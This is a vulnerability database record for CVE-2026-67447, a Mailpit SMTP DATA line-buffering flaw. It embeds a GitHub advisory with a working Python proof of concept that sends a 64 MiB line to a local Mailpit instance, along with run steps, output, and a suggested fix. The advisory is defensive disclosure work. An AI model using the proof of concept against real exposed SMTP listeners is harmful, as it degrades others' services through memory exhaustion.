{"id":"CVE-2026-67447","aliases":["EUVD-2026-63664","GHSA-r553-m4fv-5v97","GO-2026-6272","SUSE-SU-2026:23625-1","openSUSE-SU-2026:21761-1"],"status":"published","title":"Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement","description":"Mailpit is an email testing tool and API for developers. From 1.30.0 until 1.30.5, Mailpit's internal/smtpd/smtpd.go readData() function calls bufio.Reader.ReadBytes before applying the len(data)+len(line) size check to the completed SMTP DATA line against Server.MaxSize. An unauthenticated SMTP client can send a single line larger than the configured MaxMessageSize, causing the full line to be allocated before Mailpit returns the 552 5.3.4 rejection. This post-fix gap remains after normal multi-line DATA accumulation was bounded, and concurrent oversized lines can create substantial memory pressure beyond the configured message-size cap. This issue is fixed in version 1.30.5.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00507,"percentile":0.43536,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-770"],"published":"2026-08-20T21:15:06Z","modified":"2026-10-28T02:31:09Z","fixes":[{"ecosystem":"Go","package":"github.com/axllent/mailpit","fixed_in":["1.30.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/axllent/mailpit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.30.0"},{"fixed":"1.30.5"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/axllent/mailpit","ranges":[{"type":"SEMVER","events":[{"introduced":"1.30.0"},{"fixed":"1.30.5"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/axllent/mailpit","ranges":[{"type":"SEMVER","events":[{"introduced":"1.30.0"},{"fixed":"1.30.5"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181}],"products":[{"vendor":"axllent","product":"mailpit"}],"references":[{"url":"https://github.com/axllent/mailpit/security/advisories/GHSA-r553-m4fv-5v97","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/axllent/mailpit/commit/8720c6bd8281fc00d458081908f1dbef8e59a98c","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/axllent/mailpit/releases/tag/v1.30.5","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67447","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-r553-m4fv-5v97"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/67xxx/CVE-2026-67447.json","tags":["advisory"]},{"url":"https://github.com/axllent/mailpit","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623625-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-10722","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11465","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11481","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11500","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-17106","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25688","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25699","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25700","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33818","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34031","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34033","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34177","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34178","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-3433","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34976","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35172","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35511","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39821","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39832","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39833","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39904","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40173","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41568","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42350","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42508","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-43983","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45099","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45404","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46603","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-47427","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48119","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48491","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48786","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49446","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49980","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50567","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50568","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50569","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50570","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50879","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50884","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50891","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52855","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52856","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52857","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53469","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53470","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53471","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53474","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53475","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53476","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53551","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53657","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53658","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53941","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54061","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54167","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54168","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54245","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54332","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54345","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54523","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54526","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54563","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54572","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54593","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54638","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54650","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54680","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54693","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54719","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54725","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54735","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54763","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54764","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54765","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54787","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54908","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54909","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54910","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54917","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55061","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55062","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55092","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55149","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55477","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55495","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55496","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55499","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55580","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55581","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55677","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56852","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56853","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56858","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56859","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56860","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56862","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56864","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56867","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56869","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56870","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56871","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56872","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56873","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56874","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57210","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59732","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59733","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6046","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61711","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61712","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62323","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-63328","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64679","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64859","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64863","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64866","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65601","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65602","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65835","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-66063","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-66064","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6689","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67309","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6739","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67437","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67438","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67439","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67448","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6961","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71309","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71310","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71311","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71312","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71313","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71324","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71326","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71556","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71557","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7184","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73080","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73499","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73500","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73505","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73506","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73509","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73564","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7387","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-77354","tags":["web"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-67447","title":"Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement","description":"Mailpit is an email testing tool and API for developers. From 1.30.0 until 1.30.5, Mailpit's internal/smtpd/smtpd.go readData() function calls bufio.Reader.ReadBytes before applying the len(data)+len(line) size check to the completed SMTP DATA line against Server.MaxSize. An unauthenticated SMTP client can send a single line larger than the configured MaxMessageSize, causing the full line to be allocated before Mailpit returns the 552 5.3.4 rejection. This post-fix gap remains after normal multi-line DATA accumulation was bounded, and concurrent oversized lines can create substantial memory pressure beyond the configured message-size cap. This issue is fixed in version 1.30.5.","status":"published","published":"2026-08-20T21:15:06.567Z","modified":"2026-08-21T16:19:21.564Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:20:06.562031Z"}],"euvd":[{"id":"EUVD-2026-63664","description":"Mailpit is an email testing tool and API for developers. From 1.30.0 until 1.30.5, Mailpit's internal/smtpd/smtpd.go readData() function calls bufio.Reader.ReadBytes before applying the len(data)+len(line) size check to the completed SMTP DATA line against Server.MaxSize. An unauthenticated SMTP client can send a single line larger than the configured MaxMessageSize, causing the full line to be allocated before Mailpit returns the 552 5.3.4 rejection. This post-fix gap remains after normal multi-line DATA accumulation was bounded, and concurrent oversized lines can create substantial memory pressure beyond the configured message-size cap. This issue is fixed in version 1.30.5.","status":"published","published":"2026-08-20T21:15:06Z","modified":"2026-08-21T16:19:21Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T18:01:37.198267Z"}],"ghsa":[{"id":"GHSA-r553-m4fv-5v97","title":"Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement","description":"## Summary\n\nMailpit's SMTP DATA reader enforces the configured `MaxMessageSize` only after `bufio.Reader.ReadBytes('\\n')` has already buffered a complete DATA line. A remote unauthenticated SMTP client can send one line larger than the configured message-size cap and force memory allocation before Mailpit returns the expected `552 5.3.4` rejection, leaving patched versions still exposed to a single-line incomplete-fix variant of the earlier SMTP DATA body-size issue.\n\n## Technical Details\n\nMailpit enables SMTP by default. The SMTP server now wires `config.MaxMessageSize` into `srv.MaxSize`:\n\n```go\nif config.MaxMessageSize \u003e 0 {\n    srv.MaxSize = config.MaxMessageSize * 1024 * 1024\n}\n```\n\nThe DATA reader then checks that cap, but only after reading a full newline-terminated line into memory:\n\n```go\nline, err := s.br.ReadBytes('\\n')\nif err != nil {\n    return nil, err\n}\n\nif bytes.Equal(line, []byte(\".\\r\\n\")) {\n    break\n}\nif line[0] == '.' {\n    line = line[1:]\n}\n\nif s.srv.MaxSize \u003e 0 {\n    if len(data)+len(line) \u003e s.srv.MaxSize {\n        _, _ = s.br.Discard(s.br.Buffered())\n        return nil, maxSizeExceeded(s.srv.MaxSize)\n    }\n}\n```\n\nThis ordering violates the size-limit invariant. The configured cap can reject the message only after the attacker has supplied the line terminator and `ReadBytes('\\n')` has allocated the over-limit line. With the default 50 MiB cap, a 64 MiB single DATA line is still buffered before Mailpit returns `552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800)`.\n\nThis is related to the older SMTP DATA body-size advisory, but it is a post-fix gap: `srv.MaxSize` is now assigned, and normal multi-line DATA accumulation is bounded. The remaining issue is that one individual DATA line is not bounded before buffering.\n\n## PoV\n\nThe following reduced proof starts a local Mailpit release binary, sends a small DATA message as a negative control, then sends one 64 MiB DATA line without an intermediate newline. It samples process RSS while the request is in flight:\n\n```python\n#!/usr/bin/env python3\nimport os, socket, subprocess, threading, time\nfrom pathlib import Path\n\ndef free_port():\n    s = socket.socket()\n    s.bind((\"127.0.0.1\", 0))\n    p = s.getsockname()[1]\n    s.close()\n    return p\n\ndef rss_kib(pid):\n    return int(subprocess.check_output([\"ps\", \"-o\", \"rss=\", \"-p\", str(pid)], text=True).strip())\n\ndef recv_line(sock):\n    data = b\"\"\n    while not data.endswith(b\"\\n\"):\n        chunk = sock.recv(1)\n        if not chunk:\n            break\n        data += chunk\n    return data.decode(\"latin-1\", \"replace\").strip()\n\ndef send_cmd(sock, cmd):\n    sock.sendall(cmd)\n    return recv_line(sock)\n\ndef wait_for_smtp(port):\n    deadline = time.time() + 8\n    while time.time() \u003c deadline:\n        try:\n            with socket.create_connection((\"127.0.0.1\", port), timeout=0.5) as sock:\n                recv_line(sock)\n                return\n        except OSError:\n            time.sleep(0.1)\n    raise RuntimeError(\"SMTP server did not become ready\")\n\ndef send_data_line(port, pid, label, payload_bytes, finish_message):\n    stop = threading.Event()\n    peak = {\"rss\": rss_kib(pid)}\n    def monitor():\n        while not stop.is_set():\n            peak[\"rss\"] = max(peak[\"rss\"], rss_kib(pid))\n            time.sleep(0.03)\n    t = threading.Thread(target=monitor, daemon=True)\n    t.start()\n    sock = socket.create_connection((\"127.0.0.1\", port), timeout=20)\n    try:\n        recv_line(sock)\n        send_cmd(sock, b\"HELO pov.example\\r\\n\")\n        send_cmd(sock, b\"MAIL FROM:\u003csender@example.test\u003e\\r\\n\")\n        send_cmd(sock, b\"RCPT TO:\u003crecipient@example.test\u003e\\r\\n\")\n        send_cmd(sock, b\"DATA\\r\\n\")\n        sock.sendall(f\"Subject: {label}\\r\\n\\r\\n\".encode())\n        chunk = b\"A\" * min(1024 * 1024, payload_bytes)\n        remaining = payload_bytes\n        while remaining:\n            n = min(len(chunk), remaining)\n            sock.sendall(chunk[:n])\n            remaining -= n\n        sock.sendall(b\"\\r\\n.\\r\\n\" if finish_message else b\"\\r\\n\")\n        response = recv_line(sock)\n    finally:\n        stop.set()\n        t.join(timeout=1)\n        sock.close()\n    after = rss_kib(pid)\n    return response, max(peak[\"rss\"], after), after\n\nmailpit = \"./mailpit\"\nworkdir = Path(\"./pov-work\")\nworkdir.mkdir(exist_ok=True)\nhttp_port, smtp_port = free_port(), free_port()\nproc = subprocess.Popen([mailpit, \"--disable-version-check\", \"--database\", str(workdir / \"mailpit.db\"), \"--listen\", f\"127.0.0.1:{http_port}\", \"--smtp\", f\"127.0.0.1:{smtp_port}\", \"--max-message-size\", \"50\"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, env=os.environ.copy())\ntry:\n    wait_for_smtp(smtp_port)\n    time.sleep(0.25)\n    max_message_size_mib = 50\n    control_payload = 1024\n    oversized_payload = 64 * 1024 * 1024\n    baseline = rss_kib(proc.pid)\n    control_resp, control_peak, after_control = send_data_line(smtp_port, proc.pid, \"negative-control\", control_payload, True)\n    oversized_resp, oversized_peak, after_oversized = send_data_line(smtp_port, proc.pid, \"oversized-single-line\", oversized_payload, False)\n    print(f\"max_message_size_mib={max_message_size_mib}\")\n    print(f\"baseline_rss_kib={baseline}\")\n    print(f\"control_payload_bytes={control_payload}\")\n    print(f\"control_response={control_resp}\")\n    print(f\"control_peak_delta_kib={control_peak - baseline}\")\n    print(f\"after_control_rss_kib={after_control}\")\n    print(f\"oversized_single_data_line_bytes={oversized_payload}\")\n    print(f\"oversized_response={oversized_resp}\")\n    print(f\"oversized_peak_delta_kib={oversized_peak - after_control}\")\n    print(f\"after_oversized_rss_kib={after_oversized}\")\nfinally:\n    proc.terminate()\n    try:\n        proc.wait(timeout=5)\n    except subprocess.TimeoutExpired:\n        proc.kill()\n```\n\n## PoC\n\nFor the official Darwin ARM64 `v1.30.3` release binary used for this proof, start in a clean parent directory and create the PoC directory:\n\n```fish\nmkdir mailpit-v1.30.3-pov\ncd mailpit-v1.30.3-pov\n```\n\nFrom inside that directory, save the script above as `smtp_data_line_size_pov.py`, then run:\n\n```fish\ncurl -fsSLO https://github.com/axllent/mailpit/releases/download/v1.30.3/mailpit-darwin-arm64.tar.gz\ntar -xzf mailpit-darwin-arm64.tar.gz\nchmod +x ./mailpit\n./mailpit version\npython3 ./smtp_data_line_size_pov.py\n```\n\nThe official Darwin ARM64 `v1.30.3` release binary reported:\n\n```text\nmailpit v1.30.3 compiled with go1.26.4 on darwin/arm64\n```\n\nThe bounded PoC output was:\n\n```text\nmax_message_size_mib=50\nbaseline_rss_kib=25008\ncontrol_payload_bytes=1024\ncontrol_response=250 2.0.0 Ok: queued as 1702Ad5k2J9kgOrc6phO0X\ncontrol_peak_delta_kib=2656\nafter_control_rss_kib=27680\noversized_single_data_line_bytes=67108864\noversized_response=552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800)\noversized_peak_delta_kib=132928\nafter_oversized_rss_kib=160608\n```\n\nThe control shows the normal DATA path accepting and queueing a small message. The oversized case differs only in DATA line length: Mailpit returns the configured size-cap rejection, but only after process RSS rises by about 130 MiB for one 64 MiB line.\n\n## Impact\n\nAn unauthenticated client that can reach the SMTP listener can force Mailpit to allocate memory above the configured `MaxMessageSize` before rejection. Repeating the input across concurrent connections can create substantial memory pressure and degrade service availability. The issue is bounded by attacker bandwidth and host memory rather than by the configured message-size cap until a newline arrives and the delayed check runs.\n\nExploitability requires the SMTP listener to be reachable by an untrusted client. Typical Mailpit deployments confined to trusted internal networks, CI environments without untrusted SMTP access, or loopback-only access therefore have substantially lower practical risk. `AV:N` describes the network attack path in a reachable deployment; it does not imply that most Mailpit instances are exposed to the public Internet.\n\nThe PoV demonstrates substantial memory pressure but does not establish complete service loss. The advisory therefore uses Low availability impact (`A:L`), producing a CVSS 3.1 score of 5.3 (Medium).\n\n## Suggested Fix\n\nBound SMTP DATA line reads before buffering the full line. Replace unbounded `ReadBytes('\\n')` with a reader that stops once `len(data)+currentLineBytes` would exceed `srv.MaxSize`, returns the existing `552 5.3.4` error, and drains or closes the connection without retaining the over-limit line. The check should account for dot-stuffing and the CRLF terminator, and should reject before allocating attacker-controlled bytes beyond the configured cap.\n\nRegression tests should cover a normal small DATA message, a multi-line message exactly at the cap, and a single line over the cap. The over-cap single-line test should assert that Mailpit returns `552 5.3.4` without reading the whole line into a returned buffer or causing material RSS growth.\n\n## Affected Package/Versions\n\nConfirmed affected:\n\n- `v1.30.0`, commit `af8756a32cf7ecf06bef109c1348b783f1a239ee`, source has the post-fix `srv.MaxSize` wiring and the same `ReadBytes('\\n')` before size enforcement.\n- `v1.30.3`, commit `6acf5b8f942ab0e007b1227d31dfb3c3303e8d13`, reproduces with the official Darwin ARM64 binary shown above.\n- Latest release `v1.30.4`, commit `3b41030dbef4574ec92b815cb464fec7b4cfdc15`, published 2026-07-09, is source-confirmed with the same vulnerable ordering.\n- Current `develop`, commit `6a09f28d5489a85245cc8ddbf512047495627147`, checked 2026-07-09, is source-confirmed with the same vulnerable ordering.\n\nNo fixed version was identified during this review.\n\nA focused source sweep on 2026-07-09 returned the same ordering for the lower post-fix release, latest release, and current `develop`: `internal/smtpd/main.go` wires `MaxMessageSize` into `srv.MaxSize`, while `internal/smtpd/smtpd.go` still reads a full DATA line before enforcing that cap.\n\n```text\ndevelop_head=6a09f28d5489a85245cc8ddbf512047495627147\nv1.30.4_commit=3b41030dbef4574ec92b815cb464fec7b4cfdc15\nv1.30.0_commit=af8756a32cf7ecf06bef109c1348b783f1a239ee\n\nv1.30.0:internal/smtpd/main.go:250:\tif config.MaxMessageSize \u003e 0 {\nv1.30.0:internal/smtpd/main.go:251:\t\tsrv.MaxSize = config.MaxMessageSize * 1024 * 1024\nv1.30.0:internal/smtpd/smtpd.go:855:\t\tline, err := s.br.ReadBytes('\\n')\nv1.30.0:internal/smtpd/smtpd.go:869:\t\tif s.srv.MaxSize \u003e 0 {\nv1.30.0:internal/smtpd/smtpd.go:870:\t\t\tif len(data)+len(line) \u003e s.srv.MaxSize {\nv1.30.0:internal/smtpd/smtpd.go:872:\t\t\t\treturn nil, maxSizeExceeded(s.srv.MaxSize)\n\nv1.30.4:internal/smtpd/main.go:250:\tif config.MaxMessageSize \u003e 0 {\nv1.30.4:internal/smtpd/main.go:251:\t\tsrv.MaxSize = config.MaxMessageSize * 1024 * 1024\nv1.30.4:internal/smtpd/smtpd.go:878:\t\tline, err := s.br.ReadBytes('\\n')\nv1.30.4:internal/smtpd/smtpd.go:892:\t\tif s.srv.MaxSize \u003e 0 {\nv1.30.4:internal/smtpd/smtpd.go:893:\t\t\tif len(data)+len(line) \u003e s.srv.MaxSize {\nv1.30.4:internal/smtpd/smtpd.go:895:\t\t\t\treturn nil, maxSizeExceeded(s.srv.MaxSize)\n\ndevelop:internal/smtpd/main.go:250:\tif config.MaxMessageSize \u003e 0 {\ndevelop:internal/smtpd/main.go:251:\t\tsrv.MaxSize = config.MaxMessageSize * 1024 * 1024\ndevelop:internal/smtpd/smtpd.go:878:\t\tline, err := s.br.ReadBytes('\\n')\ndevelop:internal/smtpd/smtpd.go:892:\t\tif s.srv.MaxSize \u003e 0 {\ndevelop:internal/smtpd/smtpd.go:893:\t\t\tif len(data)+len(line) \u003e s.srv.MaxSize 